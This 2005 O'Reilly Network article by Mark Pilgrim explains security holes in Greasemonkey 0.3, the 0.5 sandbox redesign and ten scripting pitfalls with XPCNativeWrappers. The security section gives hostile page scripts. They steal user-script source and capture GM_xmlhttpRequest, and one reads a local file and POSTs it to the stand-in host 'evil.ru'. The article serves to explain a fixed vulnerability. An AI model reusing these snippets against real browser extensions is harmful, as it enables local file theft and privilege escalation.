O'Reilly Network    
 Published on O'Reilly Network (http://www.oreillynet.com/)
 See this if you're having trouble printing code examples


Avoid Common Pitfalls in Greasemonkey
How the History of Greasemonkey Security Affects You Now

by Mark Pilgrim, author of Greasemonkey Hacks
11/11/2005

Once upon a time, there was a security hole. (This is not your standard fairy tale. Stay with me.) Greasemonkey's architecture has changed substantially since it was first written. Version 0.3, the first version to gain wide popularity, had a fundamental security flaw: it trusted the remote page too much when it injected and executed user scripts.

Back in those days, Greasemonkey's injection mechanism was simple, elegant--and wrong. It initialized a set of API functions as properties of the global window object, so that user scripts could call them. Then, it determined which user scripts ought to execute on the current page based on the @include and @exclude parameters. It loaded the source code of each user script, created a <script> element, assigned the source code of the user script to the contents of the <script> element, and inserted the element into the page. Once all of the user scripts finished, Greasemonkey cleaned up the page by removing the <script> elements it had inserted and removing the global properties it had added.

Simple and elegant, to be sure; so why was it wrong?

Security Hole #1: Source Code Leakage

The answer lies in the largely untapped power of the JavaScript language and the Document Object Model (DOM). JavaScript running in a browser is not simply a scripting language. The browser sets up a complex object hierarchy for scripts to manipulate the web page, and a complex event model to notify scripts when things happen.

This leads directly to the first security hole. When Greasemonkey 0.3 inserted a user script into a page, this triggered a DOMNodeInserted event, which the remote page could intercept. Consider a web page with the following JavaScript code. Keep in mind, this is not a user script; this is just regular JavaScript code that is part of the web page in which user scripts are executing.

<script type="text/javascript">
_scripts = [];
_c = document.getElementsByTagName("script").length;
function trapInsertScript(event) {
    var doc = event.currentTarget;
    var arScripts = doc.getElementsByTagName("script");
    if (arScripts.length > _numPreviousScripts) {
        _scripts.push(arScripts[_c++].innerHTML);
    }
}
document.addEventListener("DOMNodeInserted", trapInsertScript, true);
</script>

Whenever Greasemonkey 0.3 injected a user script into this page (by adding a <script> element), Firefox called the trapInsertScript function, which allowed the remote page to store a copy of the entire source code of the user script that had just been injected. Even though Greasemonkey removed the <script> element immediately, the damage had already been done. The remote page could get a complete copy of every user script that executed on the page, and do whatever it wanted with that information.

Clearly, this is undesirable. But it gets worse.

Security Hole #2: API Leakage

The most powerful feature of Greasemonkey is not that it allows you to inject your own scripts into third-party web pages. User scripts can actually do things that regular unprivileged JavaScript cannot do, because Greasemonkey provides a set of API functions specifically for user scripts:

This last API function is obviously the most powerful. It is also the most useful, because it allows user scripts to integrate data from different sites. Greasemonkey Hacks devotes Chapter 11 to GM_xmlhttpRequest.

JavaScript code that comes with a regular web page cannot do this. There is an XMLHttpRequest object that has some of the same capabilities, but for security reasons, Firefox intentionally restricts it to communicating with other pages on the same website. Greasemonkey's GM_xmlhttpRequest function loosens this restriction and allows user scripts to communicate with any website, anywhere, anytime.

All of this brings us to the second security hole. Greasemonkey 0.3 allowed remote page scripts not only to "steal" the source code of user scripts, but to steal access to Greasemonkey's API functions:

<script type="text/javascript">
_GM_xmlhttpRequest = null;
function trapGM(prop, oldVal, newVal) {
    _GM_xmlhttpRequest = window.GM_xmlhttpRequest;
    return newVal;
}
window.watch("GM_log", trapGM);
</script>

Using the watch method, available on every JavaScript object, the web page would wait for Greasemonkey 0.3 to add the GM_log function to the window object. As long as at least one user script executed on the page, this would always happen, immediately before Greasemonkey inserted the <script> element that ran the user script. When Greasemonkey assigned the window.GM_log property, Firefox would call the trapGM function set up by the remote page, which could steal a reference to window.GM_xmlhttpRequest and store it for later use.

The user script would execute as usual, and Greasemonkey would clean up after itself by removing the API functions from the window object. But the damage had already been done. The remote page still retained a reference to the GM_xmlhttpRequest function, and it could use this function reference to do things that ordinary JavaScript code is not supposed to be able to do.

Security experts call this a privilege escalation attack. In effect, Greasemonkey 0.3 circumvented all of the careful planning that went into sandboxing unprivileged JavaScript code, and allowed unprivileged code to gain access to privileged functions.

But wait; it gets worse.

Greasemonkey Hacks

Related Reading

Greasemonkey Hacks
Tips & Tools for Remixing the Web with Firefox
By Mark Pilgrim

Security Hole #3: Local File Access

Greasemonkey 0.3 had one more fatal flaw. By issuing a GET request on a file:// URL that pointed to a local file, user scripts could access and read the contents of any file on your hard drive. This is disturbing by itself, but it is especially dangerous when coupled with leaking API functions to remote page scripts. The combination of these security holes meant that a remote page script could steal a reference to the GM_xmlhttpRequest function, call it to read any file on your hard drive, and then call it again to post the contents of that file anywhere in the world:

<script type="text/javascript">
// _GM_xmlhttpRequest was captured earlier,
// via security hole #2

_GM_xmlhttpRequest({
  method: "GET",
  url: "file:///c:/boot.ini",
  onload: function(oResponseDetails) {
    _GM_xmlhttpRequest({
      method: "POST",
      url: "http://evil.ru/",
      data: oResponseDetails.responseText
    });
  }
});
</script>

Redesigning From the Ground Up

All of these problems in Greasemonkey 0.3 stem from one fundamental architectural flaw: it trusts its environment too much. By design, user scripts execute in a hostile environment, an arbitrary web page under someone else's control. We want to execute semi-trusted, semi-privileged code within that environment, but we don't want to leak that trust or those privileges to potentially hostile code.

The solution is to set up a safe environment where we can execute user scripts. The sandbox needs access to certain parts of the hostile environment (like the DOM of the web page), but it should never allow malicious page scripts to interfere with user scripts, or intercept references to privileged functions. The sandbox should be a one-way street, allowing user scripts to manipulate the page but never the other way around.

Greasemonkey 0.5 executes user scripts in a sandbox. It never injects a <script> element into the original page, nor does it define its API functions on the global window object. Remote page scripts never have a chance to intercept user scripts, because user scripts execute without ever modifying the page.

But this is only half the battle. User scripts might need to call functions in order to manipulate the web page. This includes DOM methods such as document.getElementsByTagName and document.createElement, as well as global functions such as window.alert and window.getComputedStyle. A malicious web page could redefine these functions to prevent the user script from working properly, or to make it do something else altogether.

To solve this second problem, Greasemonkey 0.5 uses a little-known Firefox feature called XPCNativeWrappers. Instead of simply referencing the window object or the document object, Greasemonkey redefines these to be XPCNativeWrappers. An XPCNativeWrapper wraps a reference to the actual object, but doesn't allow the underlying object to redefine methods or intercept properties. This means that when a user script calls document.createElement, it is guaranteed to be the real createElement method, not some random method that was redefined by the remote page.

Going Deeper

In Greasemonkey 0.5, the sandbox in which user scripts execute defines the window and document objects as deep XPCNativeWrappers. This means that not only is it safe to call their methods and access their properties, but it is also safe to access the methods and properties of the objects they return.

For example, you want to write a user script that calls the document.getElementsByTagName function, and then you want to loop through the elements it returns:

var arTextareas = document.getElementsByTagName('textarea');
for (var i = arTextareas.length - 1; i >= 0; i--) {
    var elmTextarea = arTextareas[i];
    elmTextarea.value = my_function(elmTextarea.value);
}

The document object is an XPCNativeWrapper of the real document object, so your user script can call document.getElementsByTagName and know that it's calling the real getElementsByTagName method. But what about the collection of element objects that the method returns? All of these elements are also XPCNativeWrappers, which means it is also safe to access their properties and methods (such as the value property).

What about the collection itself? The document.getElementsByTagName function normally returns an HTMLCollection object. This object has properties such as length and special getter methods that allow you to treat it like a JavaScript Array. But it's not an Array; it's an object. In the context of a user script, this object is also wrapped by an XPCNativeWrapper, which means that you can access its length property and know that you're getting the real length property and not calling some malicious getter function that was redefined by the remote page.

All of this is confusing but extremely important. This example user script looks exactly the same as JavaScript code you would write as part of a regular web page, and it ends up doing exactly the same thing. But you need to understand that in the context of a user script, everything is wrapped in an XPCNativeWrapper. The document object, the HTMLCollection, and each Element are all XPCNativeWrappers around their respective objects.

Greasemonkey 0.5 goes to great lengths to allow you to write what appears to be regular JavaScript code, and have it do what you would expect regular JavaScript code to do. But the illusion is not perfect. XPCNativeWrappers have some limitations that you need to be aware of. There are ten common pitfalls to writing Greasemonkey scripts, and all of them revolve around limitations of XPCNativeWrappers.

Pitfall #1: Auto-eval Strings

In places where you want to set up a callback function (such as window.setTimeout, to run a function after a delay), JavaScript allows you to define the callback as a string. When it's time to execute the callback, Firefox evaluates the string and executes it. This leads to our first pitfall.

Assuming a user script defines a function called my_func, this code looks like it will execute my_func() after a one-second delay:

window.setTimeout("my_func()", 1000);

This doesn't work in a Greasemonkey script; the my_func function will never execute. By the time the callback executes one second later, the user script and its entire sandbox have disappeared. The window.setTimeout function will try to evaluate the JavaScript code in the context of the page as it exists one second later, but the page doesn't include the my_func function. In fact, it never included the my_func function; that function only ever existed within the Greasemonkey sandbox.

This doesn't mean you can never use timeouts, though. You just need to set them up differently. Here is the same code, but written in a way that works in the context of a user script:

window.setTimeout(my_func, 1000);

What's the difference? The my_func function is referenced directly, as an object instead of a string. You are passing a function reference to the window.setTimeout function, which will store the reference until it is time to execute it. When the time comes, it can still call the my_func function, because JavaScript keeps the function's environment alive as long as something, somewhere, is holding a reference to it.

Pitfall #2: Event Handlers

Another common pattern in JavaScript is setting event handlers, such as onclick, onchange, or onsubmit. The most common way to set up an onclick event handler is to assign a string to an element's onclick property:

var elmLink = document.getElementById('somelink');
elmLink.onclick = 'my_func(this)';

This technique fails in a user script for the same reason the first window.setTimeout call failed. By the time the user clicks the link, the my_func function defined elsewhere in the user script will no longer exist.

OK, let's try setting the onclick callback directly:

var elmLink = document.getElementById('somelink');
elmLink.onclick = my_func;

This also fails, but for a completely different reason. The document.getElementById function returns an XPCNativeWrapper around an Element object, not the element itself. That means that setting elmLink.onclick to a function reference sets a property not on the element, but on the XPCNativeWrapper. With most properties, such as id or className, the XPCNativeWrapper will turn around and set the corresponding property on the underlying element. But due to limitations of how XPCNativeWrappers are implemented, this pass-through does not work with event handlers such as onclick. This example code will not set the corresponding onclick handler on the actual element, and when you click the link, my_func will not execute.

This doesn't mean you can't set event handlers; just that you can't set them in the obvious way. The only technique that works is the addEventListener method:

var elmLink = document.getElementById('somelink');
elmLink.addEventListener("click", my_func, true);

This technique works with all elements, as well as the window and document objects. It works with all DOM events, including click, change, submit, keypress, mousemove, and so on. It works with existing elements on the page that you find by calling document.getElementsByTagName or document.getElementById, and it works with new elements you create dynamically by calling document.createElement. It is the only way to set event handlers that works in the context in which user scripts operate.

Pitfall #3: Named Forms and Form Elements

Firefox lets you access elements on a web page in a variety of ways. For example, if you had a form named gs that contained an input box named q:

<form id="gs">
<input name="q" type="text" value="foo">
</form>

you could ordinarily get the value of the input box like this:

var q = document.gs.q.value;

In a user script, this doesn't work. The document object is an XPCNativeWrapper, and it does not support the shorthand of getting an element by ID. This means document.gs is undefined, so the rest of the statement fails. But even if the document wrapper did support getting an element by ID, the statement would still fail, because XPCNativeWrappers around form elements don't support the shorthand of getting form fields by name. This means that even if document.gs returned the form element, document.gs.q would not return the input element, so the statement would still fail.

To work around this, you need to use the namedItem method of the document.forms array to access forms by name, and the elements array of the form element to access the form's fields:

var form = document.forms.namedItem("gs");
var input = form.elements.namedItem("q");
var q = input.value;

You could squeeze this into one line instead of using temporary variables for the form and input elements, but you still need to call each of these methods and string the return values together. There are no shortcuts.

Pitfall #4: Custom Properties

JavaScript allows you to define custom properties on any object, just by assigning them. This capability extends to elements on a web page, where you can make up arbitrary attributes and assign them directly to the element's DOM object.

var elmFoo = document.getElementById('foo');
elmFoo.myProperty = 'bar';

This doesn't work in Greasemonkey scripts, because elmFoo is really an XPCNativeWrapper around the element named foo, and XPCNativeWrappers don't let you define custom attributes with this syntax. You can set common attributes like id or href, but if you want to define your own custom attributes, you need to use the setAttribute method:

var elmFoo = document.getElementById('foo');
elmFoo.setAttribute('myProperty', 'bar');

If you want to access this property later, you will need to use the getAttribute method:

var foo = elmFoo.getAttribute('myProperty');

Pitfall #5: Iterating Collections

Normally, DOM methods such as document.getElementsByTagName return an HTMLCollection object. This object acts much like a JavaScript Array object. It has a length property that returns the number of elements in the collection, and it allows you to iterate through the elements in the collection with the in keyword:

var arInputs = document.getElementsByTagName("input");
for (var elmInput in arInputs) {
  ...
}

This does not work in Greasemonkey scripts, because the arInputs object is an XPCNativeWrapper around an HTMLCollection object, and XPCNativeWrappers do not support the in keyword. Instead, you need to iterate through the collection with a for loop, and get a reference to each element separately:

for (var i = 0; i < arInputs.length; i++) {
  var elmInput = arInputs[i];
  ...
}

Pitfall #6: scrollIntoView

In the context of a regular web page, you can manipulate the viewport to scroll the page programmatically. For example, this code will find the page element named foo and scroll the browser window to make the element visible on screen:

var elmFoo = document.getElementById('foo');
elmFoo.scrollIntoView();

This does not work in Greasemonkey scripts, because elmFoo is an XPCNativeWrapper, and XPCNativeWrappers do not call the scrollIntoView method on the underlying wrapped element. Instead, you need to use the special wrappedJSObject property of the XPCNativeWrapper object to get a reference to the real element, and then call its scrollIntoView method:

var elmFoo = document.getElementById('foo');
var elmUnderlyingFoo = elmFoo.wrappedJSObject || elmFoo;
elmUnderlyingFoo.scrollIntoView();

It is important to note that this is vulnerable to a malicious remote page redefining the scrollIntoView method to do something other than scrolling the viewport. There is no general solution to this problem.

Pitfall #7: Location

There are several ways for regular JavaScript code to work with the current page URL. The window.location object contains information about the current URL, including href (the full URL), hostname (the domain name), and pathname (the part of the URL after the domain name). You can programmatically move to a new page by setting window.location.href to another URL. But there is also shorthand for this. The window.location object defines its href attribute as a default property, which means that you can move to a new page simply by setting window.location:

window.location = "http://example.com/";

In regular JavaScript code, this sets the window.location.href property, which jumps to the new page. But in Greasemonkey scripts, this doesn't work, because the window object is an XPCNativeWrapper, and XPCNativeWrappers don't support setting the default properties of the wrapped object. This means that setting window.location in a Greasemonkey script will not actually jump to a new page. Instead, you need to explicitly set window.location.href:

window.location.href = "http://example.com/";

This also applies to the document.location object.

Pitfall #8: Calling Remote Page Scripts

Occasionally, a user script needs to call a function defined by the remote page. For example, there are several Greasemonkey scripts that integrate with Gmail, Google's web mail service. Gmail is heavily dependent on JavaScript, and user scripts that wish to extend it frequently need to call functions that the original page has defined:

var searchForm = getNode("s");
searchForm.elements.namedItem("q").value = this.getRunnableQuery();
top.js._MH_OnSearch(window, 0);

The original page scripts don't expect to get XPCNativeWrappers as parameters. Here, the _MH_OnSearch function defined by the original page expects the real window as its first argument, not an XPCNativeWrapper around the window. To solve this problem, Greasemonkey defines a special variable, unsafeWindow, which is a reference to the actual window object.

var searchForm = getNode("s");
searchForm.elements.namedItem("q").value = this.getRunnableQuery();
top.js._MH_OnSearch(unsafeWindow, 0);

It's called unsafeWindow for a reason: its properties and methods could be redefined by the page to do virtually anything. You should never call methods on unsafeWindow unless you completely trust the remote page not to mess with you. You should only ever use it as a parameter to call functions defined by the original page, or to watch window properties, as shown in the next section.

Greasemonkey also defines unsafeDocument, which is the actual document object. As with unsafeWindow, you should never use it except to pass it as a parameter to page scripts that expect the actual document object.

Pitfall #9: watch

Earlier in this hack, I mentioned the watch method, which is available on every JavaScript object. It allows you to intercept assignments to an object's properties. For instance, you could set up a watch on the window.location object to watch for scripts that tried to navigate to a new page programmatically:

window.watch("location", watchLocation);
window.location.watch("href", watchLocation);

In the context of a user script, this will not work. You need to set the watch on the unsafeWindow object:

unsafeWindow.watch("location", watchLocation);
unsafeWindow.location.watch("href", watchLocation);

Note that this is still vulnerable to a malicious page redefining the watch method itself. There is no general solution to this problem.

Pitfall #10: style

In JavaScript, every element has a style attribute, with which you can get and set the element's CSS styles. Firefox also supports a shorthand method for setting multiple styles at once:

var elmFoo = document.getElementById("foo");
elmFoo.setAttribute("style", "margin:0; padding:0;");

This does not work in Greasemonkey scripts, because the object returned by document.getElementById is an XPCNativeWrapper, and XPCNativeWrappers do not support this shorthand for setting CSS styles in bulk. You will need to set each style individually:

var elmFoo = document.getElementById("foo");
elmFoo.style.margin = 0;
elmFoo.style.padding = 0;

Conclusion

This is a long and complicated hack, and if you're not thoroughly confused by now, you probably haven't been paying attention. The security concerns that prompted the architectural changes in Greasemonkey 0.5 are both subtle and complex, but it's important that you understand them.

The tradeoff for this increased security is increased complexity, specifically the limitations and quirks of XPCNativeWrappers. There is not much I can do to make this easier to digest, except to assure you that all of the scripts in Greasemonkey Hacks work. I have personally updated all of them and tested them extensively in Greasemonkey 0.5. They can serve as blueprints for your own hacks.

Mark Pilgrim is an accessibility architect who can be found stirring up trouble at diveintomark.org.


Return to the O'Reilly Network

Copyright © 2009 O'Reilly Media, Inc.